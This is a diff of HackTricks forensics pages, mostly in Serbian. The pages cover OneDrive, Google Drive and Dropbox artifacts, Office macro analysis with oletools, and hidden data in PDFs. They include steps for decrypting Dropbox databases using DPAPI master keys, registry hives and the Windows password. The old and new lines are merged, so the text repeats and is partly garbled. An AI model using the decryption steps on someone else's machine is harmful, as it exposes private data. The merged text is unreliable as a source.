<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) za lako kreiranje i **automatizaciju radnih tokova** uz pomoć najnaprednijih alata zajednice na svetu.\
Dobijte pristup danas: Dobijte pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## OneDrive ## OneDrive
U Windows-u, možete pronaći OneDrive fasciklu u `\Users\<korisničko_ime>\AppData\Local\Microsoft\OneDrive`. A unutar `logs\Personal` moguće je pronaći fajl `SyncDiagnostics.log` koji sadrži neke zanimljive podatke u vezi sa sinhronizovanim fajlovima: U Windows-u, možete pronaći OneDrive folder u `\Users\<username>\AppData\Local\Microsoft\OneDrive`. A unutar `logs\Personal` moguće je pronaći datoteku `SyncDiagnostics.log` koja sadrži neke zanimljive podatke o sinhronizovanim datotekama:
* Veličina u bajtovima * Veličina u bajtovima
* Datum kreiranja * Datum kreiranja
* Datum modifikacije * Datum modifikacije
* Broj fajlova u oblaku * Broj datoteka u cloud-u
* Broj fajlova u fascikli * Broj datoteka u folderu
* **CID**: Jedinstveni ID OneDrive korisnika * **CID**: Jedinstveni ID OneDrive korisnika
* Vreme generisanja izveštaja * Vreme generisanja izveštaja
* Veličina HD-a OS-a * Veličina HD operativnog sistema
Kada pronađete CID, preporučljivo je **pretražiti fajlove koji sadrže ovaj ID**. Možda ćete moći pronaći fajlove sa imenima: _**\<CID>.ini**_ i _**\<CID>.dat**_ koji mogu sadržati zanimljive informacije poput imena fajlova sinhronizovanih sa OneDrive-om. Kada pronađete CID, preporučuje se da **pretražujete datoteke koje sadrže ovaj ID**. Možda ćete moći da pronađete datoteke sa imenom: _**\<CID>.ini**_ i _**\<CID>.dat**_ koje mogu sadržati zanimljive informacije kao što su imena datoteka sinhronizovanih sa OneDrive-om.
## Google Drive ## Google Drive
U Windows-u, možete pronaći glavnu Google Drive fasciklu u `\Users\<korisničko_ime>\AppData\Local\Google\Drive\user_default`\ U Windows-u, možete pronaći glavni Google Drive folder u `\Users\<username>\AppData\Local\Google\Drive\user_default`\
Ova fascikla sadrži fajl nazvan Sync\_log.log sa informacijama poput email adrese naloga, imena fajlova, vremenskih oznaka, MD5 heševa fajlova, itd. Čak i obrisani fajlovi se pojavljuju u tom log fajlu sa odgovarajućim MD5 vrednostima. Ovaj folder sadrži datoteku pod nazivom Sync\_log.log sa informacijama kao što su email adresa naloga, imena datoteka, vremenski oznake, MD5 hešovi datoteka, itd. Čak i obrisane datoteke se pojavljuju u toj log datoteci sa odgovarajućim MD5.
Fajl **`Cloud_graph\Cloud_graph.db`** je sqlite baza podataka koja sadrži tabelu **`cloud_graph_entry`**. U ovoj tabeli možete pronaći **ime** **sinhronizovanih** **fajlova**, vreme modifikacije, veličinu i MD5 kontrolnu sumu fajlova. Datoteka **`Cloud_graph\Cloud_graph.db`** je sqlite baza podataka koja sadrži tabelu **`cloud_graph_entry`**. U ovoj tabeli možete pronaći **ime** **sinhronizovanih** **datoteka**, vreme modifikacije, veličinu i MD5 kontrolni zbir datoteka.
Podaci tabele baze podataka **`Sync_config.db`** sadrže email adresu naloga, putanje deljenih fascikli i verziju Google Drive-a. Podaci tabele baze podataka **`Sync_config.db`** sadrže email adresu naloga, putanju deljenih foldera i verziju Google Drive-a.
## Dropbox ## Dropbox
Dropbox koristi **SQLite baze podataka** za upravljanje fajlovima. U ovim\ Dropbox koristi **SQLite baze podataka** za upravljanje datotekama. U ovom\
Možete pronaći baze podataka u fasciklama: Možete pronaći baze podataka u folderima:
* `\Users\<korisničko_ime>\AppData\Local\Dropbox` * `\Users\<username>\AppData\Local\Dropbox`
* `\Users\<korisničko_ime>\AppData\Local\Dropbox\Instance1` * `\Users\<username>\AppData\Local\Dropbox\Instance1`
* `\Users\<korisničko_ime>\AppData\Roaming\Dropbox` * `\Users\<username>\AppData\Roaming\Dropbox`
Glavne baze podataka su: A glavne baze podataka su:
* Sigstore.dbx * Sigstore.dbx
* Filecache.dbx * Filecache.dbx
* Deleted.dbx * Deleted.dbx
* Config.dbx * Config.dbx
Ekstenzija ".dbx" znači da su **baze podataka enkriptovane**. Dropbox koristi **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) Ekstenzija ".dbx" znači da su **baze podataka** **šifrovane**. Dropbox koristi **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
Da biste bolje razumeli enkripciju koju Dropbox koristi, možete pročitati [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). Da biste bolje razumeli šifrovanje koje Dropbox koristi, možete pročitati [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
Međutim, glavne informacije su: Međutim, glavne informacije su:
@ -73,64 +74,65 @@ Međutim, glavne informacije su:
* **Algoritam**: PBKDF2 * **Algoritam**: PBKDF2
* **Iteracije**: 1066 * **Iteracije**: 1066
Osim tih informacija, da biste dešifrovali baze podataka, još uvek vam je potrebno: Pored tih informacija, da biste dešifrovali baze podataka, još uvek vam je potrebna:
* **Enkriptovani DPAPI ključ**: Možete ga pronaći u registru unutar `NTUSER.DAT\Software\Dropbox\ks\client` (izvezite ove podatke kao binarne) * **šifrovani DPAPI ključ**: Možete ga pronaći u registru unutar `NTUSER.DAT\Software\Dropbox\ks\client` (izvezite ove podatke kao binarne)
* **`SYSTEM`** i **`SECURITY`** košnice * **`SYSTEM`** i **`SECURITY`** hives
* **DPAPI master ključevi**: Koji se mogu pronaći u `\Users\<korisničko_ime>\AppData\Roaming\Microsoft\Protect` * **DPAPI master ključevi**: Koji se mogu pronaći u `\Users\<username>\AppData\Roaming\Microsoft\Protect`
* **korisničko ime** i **šifra** Windows korisnika * **korisničko ime** i **lozinka** Windows korisnika
Zatim možete koristiti alat [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:** Zatim možete koristiti alat [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
![](<../../../.gitbook/assets/image (448).png>) ![](<../../../.gitbook/assets/image (448).png>)
Ako sve ide kako se očekuje, alat će pokazati **primarni ključ** koji vam je potreban da biste **koristili za oporavak originalnog**. Da biste oporavili originalni, jednostavno koristite ovaj [cyber\_chef recept](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) stavljajući primarni ključ kao "lozinku" unutar recepta. Ako sve ide kako se očekuje, alat će označiti **glavni ključ** koji trebate **koristiti za oporavak originalnog**. Da biste povratili originalni, jednostavno koristite ovaj [cyber\_chef recept](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) stavljajući glavni ključ kao "lozinku" unutar recepta.
Rezultujući heksadecimalni broj je konačni ključ koji se koristi za enkripciju baza podataka koje se mogu dešifrovati sa: Rezultantni heksadecimalni broj je konačni ključ koji se koristi za šifrovanje baza podataka koje se mogu dešifrovati sa:
```bash ```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
``` ```
Baza podataka **`config.dbx`** sadrži: The **`config.dbx`** baza podataka sadrži:
- **Email**: Email korisnika * **Email**: Email korisnika
- **usernamedisplayname**: Ime korisnika * **usernamedisplayname**: Ime korisnika
- **dropbox\_path**: Putanja gde se nalazi Dropbox folder * **dropbox\_path**: Putanja gde se nalazi dropbox folder
- **Host\_id: Hash** korišćen za autentifikaciju na oblaku. Ovo se može opozvati samo preko veba. * **Host\_id: Hash** korišćen za autentifikaciju u cloud. Ovo se može opozvati samo sa veba.
- **Root\_ns**: Identifikator korisnika * **Root\_ns**: Identifikator korisnika
Baza podataka **`filecache.db`** sadrži informacije o svim fajlovima i fasciklama sinhronizovanim sa Dropbox-om. Tabela `File_journal` je ona sa najkorisnijim informacijama: The **`filecache.db`** baza podataka sadrži informacije o svim datotekama i folderima sinhronizovanim sa Dropbox-om. Tabela `File_journal` je ona sa više korisnih informacija:
- **Server\_path**: Putanja gde se fajl nalazi unutar servera (ova putanja je prethodjena `host_id`-om klijenta). * **Server\_path**: Putanja gde se datoteka nalazi unutar servera (ova putanja je prethodna sa `host_id` klijenta).
- **local\_sjid**: Verzija fajla * **local\_sjid**: Verzija datoteke
- **local\_mtime**: Datum modifikacije * **local\_mtime**: Datum modifikacije
- **local\_ctime**: Datum kreiranja * **local\_ctime**: Datum kreiranja
Druge tabele unutar ove baze podataka sadrže još interesantnih informacija: Ostale tabele unutar ove baze sadrže zanimljivije informacije:
- **block\_cache**: heš svih fajlova i fascikli Dropbox-a * **block\_cache**: hash svih datoteka i foldera Dropbox-a
- **block\_ref**: Povezan je ID heša iz tabele `block_cache` sa ID fajla u tabeli `file_journal` * **block\_ref**: Povezuje hash ID tabele `block_cache` sa ID datoteke u tabeli `file_journal`
- **mount\_table**: Deljeni folderi Dropbox-a * **mount\_table**: Deljeni folderi Dropbox-a
- **deleted\_fields**: Obrisani fajlovi sa Dropbox-a * **deleted\_fields**: Obrišene datoteke Dropbox-a
- **date\_added** * **date\_added**
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** uz pomoć najnaprednijih alata zajednice na svetu.\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) za lako kreiranje i **automatizaciju radnih tokova** pokretanih najnaprednijim alatima zajednice na svetu.\
Pristupite danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
- Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
- **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,58 +1,60 @@
# Analiza Office fajlova # Analiza Office datoteka
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podrška HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) za lako kreiranje i **automatizaciju radnih tokova** uz pomoć najnaprednijih alata zajednice na svetu.\
Pristupite danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Za dodatne informacije pogledajte [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Ovo je samo sažetak: Za dodatne informacije proverite [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Ovo je samo sažetak:
Microsoft je kreirao mnogo formata kancelarijskih dokumenata, sa dva glavna tipa **OLE formata** (kao što su RTF, DOC, XLS, PPT) i **Office Open XML (OOXML) formata** (kao što su DOCX, XLSX, PPTX). Ovi formati mogu uključivati makroe, čineći ih metama za phishing i malware. OOXML fajlovi su strukturirani kao zip kontejneri, što omogućava inspekciju kroz dekompresiju, otkrivajući strukturu fajlova i foldera i sadržaj XML fajlova. Microsoft je kreirao mnoge formate office dokumenata, pri čemu su dva glavna tipa **OLE formati** (kao što su RTF, DOC, XLS, PPT) i **Office Open XML (OOXML) formati** (kao što su DOCX, XLSX, PPTX). Ovi formati mogu uključivati makroe, što ih čini metama za phishing i malware. OOXML datoteke su strukturirane kao zip kontejneri, što omogućava inspekciju kroz raspakivanje, otkrivajući hijerarhiju datoteka i foldera i sadržaj XML datoteka.
Za istraživanje struktura OOXML fajlova, dat je komanda za dekompresiju dokumenta i struktura izlaza. Tehnike za skrivanje podataka u ovim fajlovima su dokumentovane, što ukazuje na stalnu inovaciju u skrivanju podataka unutar CTF izazova. Da bi se istražile strukture OOXML datoteka, dati su komanda za raspakivanje dokumenta i struktura izlaza. Tehnike za skrivanje podataka u ovim datotekama su dokumentovane, što ukazuje na kontinuiranu inovaciju u skrivanju podataka unutar CTF izazova.
Za analizu, **oletools** i **OfficeDissector** nude sveobuhvatne alate za ispitivanje kako OLE tako i OOXML dokumenata. Ovi alati pomažu u identifikaciji i analizi ugrađenih makroa, koji često služe kao vektori za isporuku malvera, obično preuzimajući i izvršavajući dodatne zlonamerne sadržaje. Analiza VBA makroa može se sprovesti bez Microsoft Office-a korišćenjem Libre Office-a, koji omogućava debagovanje sa prekidima i promenljivim vrednostima. Za analizu, **oletools** i **OfficeDissector** nude sveobuhvatne alate za ispitivanje kako OLE tako i OOXML dokumenata. Ovi alati pomažu u identifikaciji i analizi ugrađenih makroa, koji često služe kao vektori za isporuku malware-a, obično preuzimajući i izvršavajući dodatne zlonamerne pakete. Analiza VBA makroa može se izvršiti bez Microsoft Office-a korišćenjem Libre Office-a, koji omogućava debagovanje sa tačkama prekida i posmatranim promenljivama.
Instalacija i korišćenje **oletools**-a je jednostavno, sa komandama za instalaciju putem pip-a i izdvajanje makroa iz dokumenata. Automatsko izvršavanje makroa pokreće se funkcijama poput `AutoOpen`, `AutoExec`, ili `Document_Open`. Instalacija i korišćenje **oletools** su jednostavni, sa komandama za instalaciju putem pip-a i vađenje makroa iz dokumenata. Automatsko izvršavanje makroa se pokreće funkcijama kao što su `AutoOpen`, `AutoExec` ili `Document_Open`.
```bash ```bash
sudo pip3 install -U oletools sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros olevba -c /path/to/document #Extract macros
``` ```
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim **alatima** zajednice na svetu.\
Pristupite danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,52 +1,54 @@
# Analiza PDF fajlova # PDF File analysis
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Pristupite danas: Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**Za dalje detalje pogledajte:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) **For further details check:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
PDF format je poznat po svojoj složenosti i potencijalu za skrivanje podataka, čineći ga fokusom za CTF forenzičke izazove. Kombinuje elemente običnog teksta sa binarnim objektima, koji mogu biti kompresovani ili enkriptovani, i mogu uključivati skripte u jezicima poput JavaScript-a ili Flash-a. Da bi razumeli strukturu PDF-a, možete se referisati na Didier Stevens-ov [uvodni materijal](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), ili koristiti alate poput tekst editora ili PDF-specifičnog editora poput Origamija. PDF format je poznat po svojoj složenosti i potencijalu za prikrivanje podataka, što ga čini centralnom tačkom za CTF forenzičke izazove. Kombinuje elemente običnog teksta sa binarnim objektima, koji mogu biti kompresovani ili enkriptovani, i može uključivati skripte u jezicima kao što su JavaScript ili Flash. Da bi se razumeo PDF struktura, može se konsultovati [uvodni materijal](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) Didiera Stevensa, ili koristiti alate poput tekstualnog editora ili PDF-specifičnog editora kao što je Origami.
Za detaljno istraživanje ili manipulaciju PDF-ova, dostupni su alati poput [qpdf](https://github.com/qpdf/qpdf) i [Origami](https://github.com/mobmewireless/origami-pdf). Skriveni podaci unutar PDF-ova mogu biti prikriveni u: Za dubinsko istraživanje ili manipulaciju PDF-ova, dostupni su alati kao što su [qpdf](https://github.com/qpdf/qpdf) i [Origami](https://github.com/mobmewireless/origami-pdf). Sakriveni podaci unutar PDF-ova mogu biti prikriveni u:
* Nevidljivim slojevima * Nevidljivim slojevima
* XMP formatu metapodataka od strane Adobe-a * XMP metapodacima formata od Adobe-a
* Inkrementalnim generacijama * Inkrementalnim generacijama
* Tekstu iste boje kao pozadina * Tekstu iste boje kao pozadina
* Tekstu iza slika ili preklapajućih slika * Tekstu iza slika ili preklapajućih slika
* Komentarima koji se ne prikazuju * Neprikazanim komentarima
Za prilagođenu analizu PDF-a, Python biblioteke poput [PeepDF](https://github.com/jesparza/peepdf) mogu se koristiti za izradu prilagođenih skriptova za parsiranje. Nadalje, potencijal PDF-a za skriveno skladištenje podataka je toliko velik da resursi poput NSA vodiča o rizicima i merama protiv PDF-a, iako više nije smešten na originalnoj lokaciji, i dalje nude vredne uvide. [Kopija vodiča](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) i kolekcija [triikova u PDF formatu](https://github.com/corkami/docs/blob/master/PDF/PDF.md) od strane Ange Albertini mogu pružiti dodatno čitanje na ovu temu. Za prilagođenu analizu PDF-a, Python biblioteke kao što su [PeepDF](https://github.com/jesparza/peepdf) mogu se koristiti za kreiranje prilagođenih skripti za parsiranje. Pored toga, potencijal PDF-a za skladištenje skrivenih podataka je toliko ogroman da resursi poput NSA vodiča o rizicima i protivmera vezanim za PDF, iako više nisu dostupni na svojoj originalnoj lokaciji, i dalje nude dragocene uvide. [Kopija vodiča](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) i kolekcija [trikova za PDF format](https://github.com/corkami/docs/blob/master/PDF/PDF.md) od Ange Albertinija mogu pružiti dodatno čitanje o ovoj temi.
{% hint style="success" %}
